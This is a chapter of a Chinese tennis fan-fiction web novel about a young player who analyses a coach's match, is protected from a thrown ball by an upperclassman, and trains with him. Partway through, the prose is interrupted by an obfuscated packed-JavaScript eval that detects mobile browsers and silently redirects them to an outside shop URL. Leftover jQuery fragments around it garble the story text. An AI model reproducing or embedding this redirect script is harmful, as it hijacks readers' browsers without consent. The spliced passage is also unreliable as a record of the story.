文趣网 > 其他小说 > 谢邀,每天都在被网球直击 > 22. 一株折腰的花
    “能问下大概还需要多久吗。”

    “对不起,还有二十分钟左右才能好,很抱歉耽误您了,如果需要陪练我这就帮您联系。”

    “啊、没事没事…我去外面看看吧。”很少面对这样的道歉服务文化,心宿有些不自在地向后倾了一下身子,拉开距离。

    “好的,随时恭候您回来。”

    逃一般离开厅内,月见里心宿朝一楼公共的大场地靠近。

    说是公共场地,其实也有做细致的区域划分,甚至准备了专门的健身区域和休息区域。在空间这方面这家俱乐部做到了极致。

    在休息区找了个视野不错的位置,心宿的视线扫向网球场地的人们,学生和青年人居多,几个穿着教练服饰的人在其中穿梭。

    场地上的网球四面八方地飞,有教学中新手不规范的操作,也有具备网球基础的老手在对打。

    东侧场地的比赛算是最激烈的,一个高中模样的少年在和他的教练对打。

    高中生力气十足地挥出一拍,对面模样老成的教练却没有成功接住。

    “3:1川上胜”

    裁判声音刚响起,身侧那桌的两人紧接着爆发出欢呼声。也是高中生啊,那不奇怪了…心宿看了眼他们,没有多言。

    不仅场上的高中生占据了上风,那位实力不错的教练也连续失球。不少人停下了手中的动作,都开始围观这场比赛。

    藤村先生在是这时找过来,但见心宿看得认真,他刚想退到一侧等待。

    “欸?已经弄好了吗。”

    “是的月见里先生,您可以现在回去,或者再过一会,我会等在一旁。”

    心宿站起来舒展了下腰身,毫无留恋地招呼道,“那走吧,这场比赛没什么好看的啦。”没忽视藤村眼中一瞬的疑惑,他思考了下称呼才解释道。

    “那位…学长?他要输了。”

    “你什么意思!”方才一直喝彩的栗发少年猛地站起身,被拉住也压不住怒气,“中贺明明要赢了好吧?!”

    “你别拦我,他凭什么说中贺赢不了!”

    制止住朋友动作的黑发少年稳重许多,朝心宿点头致歉,“抱歉他比较冲动。”

    朝警戒的藤村先生和隐在人群的归香姨摇摇头,心宿轻轻一笑,“学长你在生什么气呢,哦,总不能你连教练的惯用手是左手都看不出来吧。”

    “你说什么…?!”

    月见里心宿重新拉回椅子坐下,“教练先生每一球的力度和方向基本是很善良的,不过呢有几球落点却比较刁钻,也可以理解,毕竟非惯用手没控制好。”

    “而且他每次击球身子都要向左边微微侧一下,第四局的第二球最明显吧,明明是正手击球教练先生却往左偏了身子,你猜为什么呢,因为教练先生更习惯左边的发力和转向。”

    “这位教练先生脾气应该很好吧?不仅用了不习惯的右手,还一直在喂球。”

    “但是善良归善良,胜利是不会让出去的,毕竟是吃饭的活计。”

    “…胡说,你家伙算什么东西!”栗发少年气焰仍在,但他没注意到这几息的功夫,场上的局势也已经转变。

    “学长,我和你既不熟,也不认识。我现在也很难理解你在对我发什么脾气。”心宿淡下神色,“讨厌失败的人多了,难过之后,无论是自我提升还是复盘反思,把失败转换成胜利的方法也多了,可是歇斯底里不是其中的办法。”

    “这甚至不是你的失败,你都无法接受。”

    月见里心宿的声音平静,只是陈述事实地总结。语毕,他又弯起唇角,“抱歉让你久等了藤村先生。”

    刚转身欲走,身后的惊呼声突兀传来,伴随着几道小心的惊呼,两道破空声相撞。

    从别侧飞来的、承载着更强力道的小球撞开了直直向月见里心宿后脑而来的球体。

    碰的一声,两颗网球都落在了心宿脚边,他一手一颗捡起,很不可思议地看向救了他的那人。

    “…真田前辈?”

    月见里心宿惊讶出声,只得到对方点头问好。

    因为真田弦一郎的目光已经死死扎在了想故意伤人的栗发男身上,警察世家的底层代码都要触发了。

    被几乎全场的人盯着,理智回归的栗发男已经腿软的被朋友扶住,可触及朋友的目光,也满是对他行为的不解。

    “我…我……我只是……”

    “你知道自己在做什么吗!”真田带着怒气,两三步挡在了心宿身前,“因为一时的冲动故意伤害另一个人?你的道德是要现在欠着去监狱里学吗。”

    “你这样的心性,早晚会害了别人也害了自己。”

    真田弦一郎的手臂被戳了下,他低头才发现是心宿有话要说,便侧开了些身子,但依然维持保护者的姿态。

    冲副部长感激地眨眨眼,月见里心宿探出身子,确定了对面那人的肩膀上,真的在逐渐形成奇形怪状的模糊物,眨眼的功夫那东西又在变大。

    “学长,我不会报警抓你哦。”

    “不过好心的原谅你也不会啦,犯错可是有成本的。我的保镖就在你身后,接下来麻烦你和她协商关于你这次行为的赔偿事宜。”

    “不赔的话,还是报警抓你好了?学长自己选吧。”

    心宿笑盈盈地挥手,和归香姨打了个招呼,虽然归香姨此刻冷着脸表情恐怖,但今天的装扮依然很漂亮……以及那个东西应该也是“魔”吧,交给归香姨处理了!

    处理好这边,月见里心宿又把视线投回真田弦一郎的身上,当然他不得不抬起头。

    ……真田前辈怪高的,他才一米五五诶,啊啊这都怪车祸躺了快一年他一点没长!

    “谢谢你真田前辈!”

    月见里心宿原本觉得真田弦一郎会很难相处,因为对方看起来很严肃,明明只比他大一岁!但是看起来是他好几倍的严肃!

    偶尔他也会想为什么自己冷脸做不到这样的结果。

    不过现在看来,他肯定真田弦一郎面冷心热。

    “前辈那一球好快,多亏了前辈我才没事情,以后我一定会少和别人起冲突的,毕竟前辈这样好的人也不是每次都能遇到!”

    被用亮晶晶的眼睛看着,真田弦一郎不自在地咳了一声,原本想要教育他两句的话也压了回去,“以后多注意保护自己,我先去训练了。”

    “啊、前辈要不要来我这里训练?”

    “正好我只有一个人,旁边配备的训练室也用不上。”

    月见里心宿总是喜欢用亮晶晶的、满满期待和一点可怜的眼神去求人,亲人和友人又总是纵容他,以至于他现在意识不到,也改不过来这样的习惯。

    真田弦一郎觉得不妥,但实在也想不到理由拒绝后辈的请求。

    于是,他的这位后辈喜气洋洋地先跑了几步要给他带路。

    …怎么感觉和之前看到月见里不是一个人。

    他也没想到这位并不打算加入网球部的后辈又开始打起了网球。

    真田弦一郎的家境优渥,但也没有来过二楼的豪华版包间,毕竟不是必要消费,他和幸村精市往常的练习大多在室外的网球场或者一楼的安静场地。

    被称作豪华

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836047|211422||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    包间,其实也只是多了专门的服务人员和更豪华智能的机器。

    机器还在由藤村调试,月见里心宿倚着墙壁和在做准备工作的真田弦一郎闲聊。

    “前辈怎么会来这里,网球部不是每天都有训练吗?”赤也每天都累得不想打字了,全程语音给他痛诉。

    “今天要维修,场地不开放了。”

    “这样啊…我随时都欢迎前辈来一起练习。”

    等到各就其位,月见里心宿认真打量了下对面庞大的机器,又不自觉瞧了眼训练室透明玻璃后的真田弦一郎。

    ——有点想和真田弦一郎打一次试试看。

    发球机的倒计时结束,黄绿色的小球不规则发射出,正手击球与反手击球交换着,他也不停地调整步伐和身位,稳稳地用球网接住每一球。

    这一次网球落地的声音更短促了几分。

    藤村隐约地感觉到,他的这位客人速度变快了。

    依据一筐球的数量,月见里心宿默数着最后一拍后转了下手腕。

    “……嗯,好像还是不对。”

    心宿虚握下掌心,力度不对还是角度不对呢。

    这样的速度,就像从前的他一样快。这不对,他要的不是这样。

    应该,要比之前的自己更快才对…

    真田弦一郎停下动作,他很难注意不到心宿的网球,体力、速度、动态视力…都很优秀。

    月见里心宿的实力,很适合立海大学附属中学男子网球部。只是他记得,对方没有这个想法。

    一无所知的心宿接着第二轮打了下去,他眯着眼感受自己引拍挥拍的速度和打回每一球时的力度,试图找到提升的途径。

    但直到这台机器又一次电量告罄,他依然没有提升。

    递给真田一瓶水,心宿绞尽脑汁地继续思考,难道是因为训练不够吗……

    似乎能看穿他的苦恼,真田弦一郎开口,“试一试降低重心,引拍的提速再往后放,你的问题不严重,多练一练,熟能生巧。”

    “啊…前辈说得不错…欸…确实是这样啊!”一瞬间开窍,心宿迷茫的思绪清明起来,原本只是下意识迎合的语调提高。

    “谢谢前辈、又帮了一个大忙!”

    “不用客气。”

    明明细心观察了他的动作才能给出恰当建议,但真田弦一郎并不当作什么功劳,提出后就回起了信息。月见里心宿瞧着真田总是板着脸的模样,又想起他训赤也时候超级无敌严肃的脸,眼角不自觉染上笑意。

    “真田前辈人真好啊,是很可靠的前辈。”

    “嗯…?咳咳…这是什么话,我只是…做了前辈该做的!不能这样轻易去认可和相信别人……”

    观察到他泛红的耳尖,月见里心宿眯眼笑着,点头应是,又带着敬意开口。

    “…真田前辈,我想和你约一场比赛。”

    “可能还要一些时间才会兑现…但是我想和前辈你打一场,前辈很强,所以我想打败你。”

    月见里心宿坦然承认了自己的野心,他清晰地、看到了真田眼中的自己,像曾经一样,意气风发。

    “…嗯。”

    真田弦一郎不会轻视每一个渴求胜利的人,因为那其中站着他自己。他并不多言地应下,又难得唇角扬起些弧度。

    网球部正选并不能随意在外比赛,但这场比赛一定会有的,会堂堂正正地发生。

    他也大概明白了,为什么精市和柳会这么关注月见里心宿。

    一株折断的花,行人不会在意。但当它残缺着长出新的花苞,总会有人为他驻足。